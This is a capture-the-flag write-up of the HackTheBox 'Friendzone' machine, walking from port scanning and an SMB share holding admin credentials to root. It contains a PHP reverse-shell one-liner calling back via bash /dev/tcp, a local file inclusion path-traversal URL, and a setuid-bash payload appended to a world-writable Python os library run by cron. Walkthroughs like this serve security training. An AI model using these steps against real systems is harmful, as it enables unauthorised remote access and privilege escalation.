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Friendzone Writeup

Introduction :

Friendzone is an easy Linux box released back in Febuary 2019.

Part 1 : Initial Enumeration

As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
  → nmap -F 10.10.10.123
  Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-07 09:04 CET
  Nmap scan report for 10.10.10.123
  Host is up (0.15s latency).
  Not shown: 93 closed ports
  PORT    STATE SERVICE
  21/tcp  open  ftp
  22/tcp  open  ssh
  53/tcp  open  domain
  80/tcp  open  http
  139/tcp open  netbios-ssn
  443/tcp open  https
  445/tcp open  microsoft-ds

  Nmap done: 1 IP address (1 host up) scanned in 6.85 seconds

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
  → nmap -sC -sV 10.10.10.123 -p 21,22,53,80,139,443,445
  Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-07 09:05 CET
  Nmap scan report for 10.10.10.123
  Host is up (0.036s latency).

  PORT    STATE SERVICE     VERSION
  21/tcp  open  ftp         vsftpd 3.0.3
  22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey:
  |   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
  |   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
  |_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
  53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
  | dns-nsid:
  |_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
  80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
  |_http-server-header: Apache/2.4.29 (Ubuntu)
  |_http-title: Friend Zone Escape software
  139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  443/tcp open  ssl/http    Apache httpd 2.4.29
  |_http-server-header: Apache/2.4.29 (Ubuntu)
  |_http-title: 404 Not Found
  | ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
  | Not valid before: 2018-10-05T21:02:30
  |_Not valid after:  2018-11-04T21:02:30
  |_ssl-date: TLS randomness does not represent time
  | tls-alpn:
  |_  http/1.1
  445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
  Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

  Host script results:
  |_clock-skew: mean: -39m30s, deviation: 1h09m16s, median: 28s
  |_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <****unknown>, NetBIOS MAC: <****unknown> (unknown)
  | smb-os-discovery:
  |   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
  |   Computer name: friendzone
  |   NetBIOS computer name: FRIENDZONE\x00
  |   Domain name: \x00
  |   FQDN: friendzone
  |_  System time: 2019-12-07T10:06:20+02:00
  | smb-security-mode:
  |   account_used: guest
  |   authentication_level: user
  |   challenge_response: supported
  |_  message_signing: disabled (dangerous, but default)
  | smb2-security-mode:
  |   2.02:
  |_    Message signing enabled but not required
  | smb2-time:
  |   date: 2019-12-07T08:06:20
  |_  start_date: N/A

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 28.42 seconds

Part 2 : Getting User Access

Our nmap scan picked up the samba service running on both port 139 and 445. So we run the smb map command with it's -H flag in order to enumerate the shares we can work with.

  λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → smbmap -H 10.10.10.123 -p 445,139
/bin/smbmap:1036: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if len(sys.argv) is 1:
[+] Finding open SMB ports....
[!] Authentication error on 10.10.10.123

Seems like smbmap has got some problems on archlabs, but no worries, enum4linux is there to the rescue. 

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ enum4linux 10.10.10.123
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Dec  7 09:12:14 2019

 ==========================
|    Target Information    |
 ==========================
Target ........... 10.10.10.123
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ====================================================
|    Enumerating Workgroup/Domain on 10.10.10.123    |
 ====================================================
Can't load /etc/samba/smb.conf - run testparm to debug it
[+] Got domain/workgroup name: WORKGROUP

 ============================================
|    Nbtstat Information for 10.10.10.123    |
 ============================================
Can't load /etc/samba/smb.conf - run testparm to debug it
Looking up status of 10.10.10.123
    FRIENDZONE      <****00> -         B <****ACTIVE>  Workstation Service
    FRIENDZONE <****03> -         B <****ACTIVE>  Messenger Service
    FRIENDZONE <****20> -         B <****ACTIVE>  File Server Service
    ..__MSBROWSE__. <****01> - <****GROUP> B <****ACTIVE>  Master Browser
    WORKGROUP <****00> - <****GROUP> B <****ACTIVE>  Domain/Workgroup Name
    WORKGROUP <****1d> -         B <****ACTIVE>  Master Browser
    WORKGROUP <****1e> - <****GROUP> B <****ACTIVE>  Browser Service Elections

    MAC Address = 00-00-00-00-00-00

 =====================================
|    Session Check on 10.10.10.123    |
 =====================================
[+] Server 10.10.10.123 allows sessions using username '', password ''

 ===========================================
|    Getting domain SID for 10.10.10.123    |
 ===========================================
Unable to initialize messaging context
rpcclient: Can't load /etc/samba/smb.conf - run testparm to debug it
[+] Can't determine if host is part of domain or part of a workgroup

 ======================================
|    OS information on 10.10.10.123    |
 ======================================
Use of uninitialized value $os_info in concatenation (.) or string at /usr/bin/enum4linux line 464.
[+] Got OS info for 10.10.10.123 from smbclient:
[+] Got OS info for 10.10.10.123 from srvinfo:
Unable to initialize messaging context
rpcclient: Can't load /etc/samba/smb.conf - run testparm to debug it

 =============================
|    Users on 10.10.10.123    |
 =============================
Use of uninitialized value $users in print at /usr/bin/enum4linux line 874.
Use of uninitialized value $users in pattern match (m//) at /usr/bin/enum4linux line 877.

Use of uninitialized value $users in print at /usr/bin/enum4linux line 888.
Use of uninitialized value $users in pattern match (m//) at /usr/bin/enum4linux line 890.**=========================================
|    Share Enumeration on 10.10.10.123    |
 =========================================
Unable to initialize messaging context
smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    Files           Disk      FriendZone Samba Server Files /etc/Files
    general         Disk      FriendZone Samba Server Files
    Development     Disk      FriendZone Samba Server Files
    IPC$            IPC       IPC Service (FriendZone server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

    Server               Comment
    ---------            -------

    Workgroup            Master
    ---------            -------
    WORKGROUP            FRIENDZONE

[+] Attempting to map shares on 10.10.10.123
//10.10.10.123/print$   Mapping: DENIED, Listing: N/A
//10.10.10.123/Files    Mapping: DENIED, Listing: N/A
//10.10.10.123/general  Mapping: OK, Listing: OK
//10.10.10.123/Development  Mapping: OK, Listing: OK
//10.10.10.123/IPC$ [E] Can't understand response:
Unable to initialize messaging context
smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \***
 ====================================================
|    Password Policy Information for 10.10.10.123    |
 ====================================================
[E] Unexpected error from polenum:
Traceback (most recent call last):
  File "/usr/bin/polenum", line 16, in <****module>
    from impacket.dcerpc.v5.rpcrt import DCERPC_v5
ImportError: No module named impacket.dcerpc.v5.rpcrt
[+] Retieved partial password policy with rpcclient:



 ==============================
|    Groups on 10.10.10.123    |
 ==============================

[+] Getting builtin groups:

[+] Getting builtin group memberships:

[+] Getting local groups:

[+] Getting local group memberships:

[+] Getting domain groups:

[+] Getting domain group memberships:

 =======================================================================
|    Users on 10.10.10.123 via RID cycling (RIDS: 500-550,1000-1050)    |
 =======================================================================

 =============================================
|    Getting printer info for 10.10.10.123    |
 =============================================
Unable to initialize messaging context
rpcclient: Can't load /etc/samba/smb.conf - run testparm to debug it


enum4linux complete on Sat Dec  7 09:12:20 2019

Looking at the results, we have a few ports to work with. Let's check out the shares available for us using the smbclient command. 

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ smbclient \\\\10.10.10.123\\general
Unable to initialize messaging context
smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it
Enter WORKGROUP\nihilist's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 16 21:10:51 2019
  ..                                  D        0  Wed Jan 23 22:51:02 2019
  creds.txt                           N       57  Wed Oct 10 01:52:42 2018

        9221460 blocks of size 1024. 6459232 blocks available
smb: \> get creds.txt
getting file \creds.txt of size 57 as creds.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \> exit

λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ mv creds.txt Friendzone/creds.txt
mv: cannot move 'creds.txt' to 'Friendzone/creds.txt': No such file or directory

λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ mkdir Friendzone

λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ mv creds.txt Friendzone/creds.txt

λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ cd Friendzone

λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Friendzone ]
→ cat creds.txt
creds for the admin THING:

admin:WORKWORKHhallelujah@#

We seem to have a password to work with ! WORKWORKHhallelujah@# Now let's use nmap's smb share enumeration script.

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Friendzone ]
  → nmap 10.10.10.123 --script smb-enum-shares
  Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-07 09:39 CET
  Nmap scan report for 10.10.10.123
  Host is up (0.043s latency).
  Not shown: 993 closed ports
  PORT    STATE SERVICE
  21/tcp  open  ftp
  22/tcp  open  ssh
  53/tcp  open  domain
  80/tcp  open  http
  139/tcp open  netbios-ssn
  443/tcp open  https
  445/tcp open  microsoft-ds

  Host script results:
  | smb-enum-shares:
  |   account_used: guest
  |   \\10.10.10.123\Development:
  |     Type: STYPE_DISKTREE
  |     Comment: FriendZone Samba Server Files
  |     Users: 0
  |     Max Users: <****unlimited>
  |     Path: C:\etc\Development
  |     Anonymous access: READ/WRITE
  |     Current user access: READ/WRITE
  |   \\10.10.10.123\Files:
  |     Type: STYPE_DISKTREE
  |     Comment: FriendZone Samba Server Files /etc/Files
  |     Users: 0
  |     Max Users: <****unlimited>
  |     Path: C:\etc\hole
  |     Anonymous access: <****none>
  |     Current user access: <****none>
  |   \\10.10.10.123\IPC$:
  |     Type: STYPE_IPC_HIDDEN
  |     Comment: IPC Service (FriendZone server (Samba, Ubuntu))
  |     Users: 1
  |     Max Users: <****unlimited>
  |     Path: C:\tmp
  |     Anonymous access: READ/WRITE
  |     Current user access: READ/WRITE
  |   \\10.10.10.123\general:
  |     Type: STYPE_DISKTREE
  |     Comment: FriendZone Samba Server Files
  |     Users: 0
  |     Max Users: <****unlimited>
  |     Path: C:\etc\general
  |     Anonymous access: READ/WRITE
  |     Current user access: READ/WRITE
  |   \\10.10.10.123\print$:
  |     Type: STYPE_DISKTREE
  |     Comment: Printer Drivers
  |     Users: 0
  |     Max Users: <****unlimited>
  |     Path: C:\var\lib\samba\printers
  |     Anonymous access: <****none>
  |_    Current user access: <****none>

  Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds

Browsing to the 80th port, we are greeted with a simple html page with a picture. Although we are hinted towards domain name resolution at the bottom, so let's see what lies at the https port in order to see if we can enumerate the DNS part of this box a little further using the SSL certificate.

Seems like we have a hostname to work with : friendzone.red let's do a quick dns lookup using the dig command.

  λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → pacman -S blackarch/python2-dnsknife

  λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → dig axfr @10.10.10.123 friendzone.red

; <<>> DiG 9.14.8 <<>> axfr @10.10.10.123 friendzone.red
; (1 server found)
;; global options: +cmd
friendzone.red.     604800  IN  SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red.     604800  IN  AAAA    ::1
friendzone.red.     604800  IN  NS  localhost.
friendzone.red.     604800  IN  A   127.0.0.1
administrator1.friendzone.red. 604800 IN A  127.0.0.1
hr.friendzone.red.  604800  IN  A   127.0.0.1
uploads.friendzone.red. 604800  IN  A   127.0.0.1
friendzone.red.     604800  IN  SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 39 msec
;; SERVER: 10.10.10.123#53(10.10.10.123)
;; WHEN: Sat Dec 07 10:13:25 CET 2019
;; XFR size: 8 records (messages 1, bytes 289)

Looking at the results, we seem to have found administrator1.friendzone.red and uploads.friendzone.red . Since HackTheBox doesn't do DNS we'll add the following line into our /etc/hosts file :

10.10.10.123    administrator1.friendzone.red uploads.friendzone.red

Browsing to the administrator1.friendzone.red URI we are greeted by a login prompt.

Using the credentials we found earlier, we are able to login :

Earlier our enum4linux scan picked up the Development SMB Share : 

  λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → smbclient -H //10.10.10.123/Development
  Unable to initialize messaging context
  smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it
  Enter WORKGROUP\nihilist's password:
  Try "help" to get a list of possible commands.
  smb: \> ls
    .                                   D        0  Sat Dec  7 09:40:17 2019
    ..                                  D        0  Wed Jan 23 22:51:02 2019

This is where we will upload our reverse php shell, just pick up a quick oneliner for us to use and upload it : 

  <****?php
 echo("nihilist WAS HERE");
 exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.48/9001 0>&1'");



  smb: \> put nihilist_rev.php
putting file nihilist_rev.php as \nihilist_rev.php (0.9 kb/s) (average 0.9 kb/s)
smb: \> ls
  .                                   D        0  Sat Dec  7 10:38:01 2019
  ..                                  D        0  Wed Jan 23 22:51:02 2019
  nihilist_rev.php                        A      101  Sat Dec  7 10:38:02 2019

        9221460 blocks of size 1024. 6460304 blocks available

smb: \> exit

λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → nc -lvnp 9001

Once the reverse shell is uploaded, we ready our terminal with the nc command in order to catch the incoming reverse shell connection onto our 9001st port. Then we browse to our reverse php shell from within the webbrowser and see the result :

  https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename;=../../../../../../../../../etc/Development/nihilist_rev.php

This does not work because the URI must not end with .php ! So you need to browse to this URI :

  https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename;=../../../../../../../../../etc/Development/nihilist_rev

And see that our terminal catched the reverse shell connection. 

  λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → nc -lvnp 9001
Connection from 10.10.10.123:58526
bash: cannot set terminal process group (556): Inappropriate ioctl for device
bash: no job control in this shell

www-data@FriendZone:/var/www/admin$ uname -a
uname -a
Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

www-data@FriendZone:/var/www/admin$ whoami
whoami
www-data

And that's it ! we have been able to login as www-data, now let's see if we have enough permissions to print out the user flag.

www-data@FriendZone:/var/www/admin$ cd /home
cd /home

www-data@FriendZone:/home$ ls
ls
friend

www-data@FriendZone:/home$ cd friend
cd friend
www-data@FriendZone:/home/friend$ ls
ls
user.txt

www-data@FriendZone:/home/friend$ cat user.txt
cat user.txt
a9XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! we have been able to print out the user flag.

Part 3 : Getting Root Access

Now we need to escalate privileges onto the machine. To do so, let's first take a look at the mysql_data.conf file located in /var/www.

  www-data@FriendZone:/home/friend$ cd /var/www
  cd /var/www
  www-data@FriendZone:/var/www$ ls
  ls
  admin
  friendzone
  friendzoneportal
  friendzoneportaladmin
  html
  mysql_data.conf
  uploads
  www-data@FriendZone:/var/www$ cat mysql_data.conf
  cat mysql_data.conf
  for development process this is the mysql creds for user friend

  db_user=friend

  db_pass=Agpyu12!0.213$

  db_name=FZ

seems like we have credentials to work with ! friend:Agpyu12!0.213$ let's try to privesc using the su command.

  www-data@FriendZone:/var/www$ su friend
su friend
su: must be run from a terminal

www-data@FriendZone:/var/www$ which python
which python
/usr/bin/python

That's not a problem, we should be able to fool the system into thinking we are running commands from a TTY session, by using python's pty module.

www-data@FriendZone:/var/www$ python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import pty; pty.spawn("/bin/sh")'

$ su friend
su friend
Password: Agpyu12!0.213$

friend@FriendZone:/var/www$ whoami
whoami
friend

Now let's take a look into the /opt directory. There seems to be an interesting folder for us to look into :

  friend@FriendZone:/var/www$ cd /opt
  cd /opt
  friend@FriendZone:/opt$ ls
  ls
  server_admin
  friend@FriendZone:/opt$ ls -la
  ls -la
  total 12
  drwxr-xr-x  3 root root 4096 Oct  6  2018 .
  drwxr-xr-x 22 root root 4096 Oct  5  2018 ..
  drwxr-xr-x  2 root root 4096 Jan 24  2019 server_admin
  friend@FriendZone:/opt$ cd server_admin
  cd server_admin
  friend@FriendZone:/opt/server_admin$ ls
  ls
  reporter.py
  friend@FriendZone:/opt/server_admin$ cat reporter.py
  cat reporter.py
  #!/usr/bin/python

  import os

  to_address = "admin1@friendzone.com"
  from_address = "admin2@friendzone.com"

  print "[+] Trying to send email to %s"%to_address

  #command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

  #os.system(command)

  # I need to edit the script later
  # Sam ~ python developer
  friend@FriendZone:/opt/server_admin$

Seems like the python script is importing a library named "os", let's see if we can enumerate it. 

  friend@FriendZone:/opt/server_admin$ ls -ld /usr/lib/python2.7/os.py
ls -ld /usr/lib/python2.7/os.py
-rwxrwxrwx 1 root root 25910 Jan 15  2019 /usr/lib/python2.7/os.py

Whoa ! The os.py libary has got the 777 permissions, This is a serious security flaw as we're about to demonstrate : 

friend@FriendZone:/opt/server_admin$ echo "system('chmod 4755 /bin/bash')" >> /usr/lib/python2.7/os.py
echo "system('chmod 4755 /bin/bash')" >> /usr/lib/python2.7/os.py
friend@FriendZone:/opt/server_admin$ ^[[A^[[A
friend@FriendZone:/opt/server_admin$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1113504 Apr  4  2018 /bin/bash

Wait a little while for the cronjob to execute the python script, and you should see the permissions of /bin/bash changing. 

  friend@FriendZone:/opt/server_admin$ ^[[A
  ls -l /bin/bash
  -rwsr-xr-x 1 root root 1113504 Apr  4  2018 /bin/bash
  friend@FriendZone:/opt/server_admin$ /bin/bash -p
  /bin/bash -p
  bash-4.4# whoami
  whoami
  root
  bash-4.4# cat /root/root.txt
  cat /root/root.txt
  b0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! we have been able to print out the root flag.

Conclusion

Here we can see the progress graph :


Nihilist
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